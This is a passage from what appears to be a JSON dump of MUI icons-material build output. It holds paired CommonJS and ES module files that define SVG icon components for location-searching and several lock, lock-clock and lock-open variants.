    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationSearchingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'LocationSearchingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1z\"\n}), 'Lock');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1z\"\n}), 'Lock');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 14.2 2.9 1.7-.8 1.3L13 15v-5h1.5zM22 14c0 4.41-3.59 8-8 8-2.02 0-3.86-.76-5.27-2H4c-1.15 0-2-.85-2-2V9c0-1.12.89-1.96 2-2v-.5C4 4.01 6.01 2 8.5 2c2.34 0 4.24 1.79 4.46 4.08.34-.05.69-.08 1.04-.08 4.41 0 8 3.59 8 8M6 7h5v-.74C10.88 4.99 9.8 4 8.5 4 7.12 4 6 5.12 6 6.5zm14 7c0-3.31-2.69-6-6-6s-6 2.69-6 6 2.69 6 6 6 6-2.69 6-6\"\n}), 'LockClock');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 14.2 2.9 1.7-.8 1.3L13 15v-5h1.5zM22 14c0 4.41-3.59 8-8 8-2.02 0-3.86-.76-5.27-2H4c-1.15 0-2-.85-2-2V9c0-1.12.89-1.96 2-2v-.5C4 4.01 6.01 2 8.5 2c2.34 0 4.24 1.79 4.46 4.08.34-.05.69-.08 1.04-.08 4.41 0 8 3.59 8 8M6 7h5v-.74C10.88 4.99 9.8 4 8.5 4 7.12 4 6 5.12 6 6.5zm14 7c0-3.31-2.69-6-6-6s-6 2.69-6 6 2.69 6 6 6 6-2.69 6-6\"\n}), 'LockClock');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'LockClockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'LockClockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m2 7c-.2.2-.51.2-.71 0l-1.65-1.65c-.09-.09-.15-.22-.15-.35v-2.5c0-.28.22-.5.5-.5s.5.22.5.5v2.29l1.5 1.5c.21.2.21.51.01.71\"\n}, \"1\")], 'LockClockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m2 7c-.2.2-.51.2-.71 0l-1.65-1.65c-.09-.09-.15-.22-.15-.35v-2.5c0-.28.22-.5.5-.5s.5.22.5.5v2.29l1.5 1.5c.21.2.21.51.01.71\"\n}, \"1\")], 'LockClockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h8.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}), 'LockClockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c.7 0 1.37.1 2 .29V8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h8.26c-.79-1.13-1.26-2.51-1.26-4 0-3.87 3.13-7 7-7M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}), 'LockClockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.29 20H6V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18c0-3.87 3.13-7 7-7v-1H6v10h5.29c-.19-.63-.29-1.3-.29-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"2\")], 'LockClockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockClockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.29 20H6V10h12v1c.7 0 1.37.1 2 .29V10c0-1.1-.9-2-2-2h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h6.26c-.42-.6-.75-1.28-.97-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18c0-3.87 3.13-7 7-7v-1H6v10h5.29c-.19-.63-.29-1.3-.29-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"2\")], 'LockClockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-9h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6h1.9c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 12H6V10h12z\"\n}), 'LockOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-9h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6h1.9c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 12H6V10h12z\"\n}), 'LockOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6h2c0-1.66 1.34-3 3-3s3 1.34 3 3v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 12H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6h2c0-1.66 1.34-3 3-3s3 1.34 3 3v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 12H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6-5h-1V6c0-2.76-2.24-5-5-5-2.28 0-4.27 1.54-4.84 3.75-.14.54.18 1.08.72 1.22.53.14 1.08-.18 1.22-.72C9.44 3.93 10.63 3 12 3c1.65 0 3 1.35 3 3v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 11c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1h10c.55 0 1 .45 1 1z\"\n}), 'LockOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6-5h-1V6c0-2.76-2.24-5-5-5-2.28 0-4.27 1.54-4.84 3.75-.14.54.18 1.08.72 1.22.53.14 1.08-.18 1.22-.72C9.44 3.93 10.63 3 12 3c1.65 0 3 1.35 3 3v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 11c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1h10c.55 0 1 .45 1 1z\"\n}), 'LockOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6h2c0-1.13.6-2.24 1.64-2.7C12.85 2.31 15 3.9 15 6v2H4v14h16zm-2 12H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6h2c0-1.13.6-2.24 1.64-2.7C12.85 2.31 15 3.9 15 6v2H4v14h16zm-2 12H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h12V10H6zm6-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6h2c0-1.66 1.34-3 3-3s3 1.34 3 3v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 12H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'LockOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOpenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h12V10H6zm6-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6h2c0-1.66 1.34-3 3-3s3 1.34 3 3v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m0 12H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'LockOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-9h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9zM18 20H6V10h12z\"\n}), 'LockOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6-9h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M8.9 6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2H8.9zM18 20H6V10h12z\"\n}), 'LockOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm8 14H7c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1m-5-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm8 14H7c-.55 0-1-.45-1-1v-8c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1m-5-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H4v14h16V8zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H4v14h16V8zM9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'LockOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LockOutlineTwoTone.js",
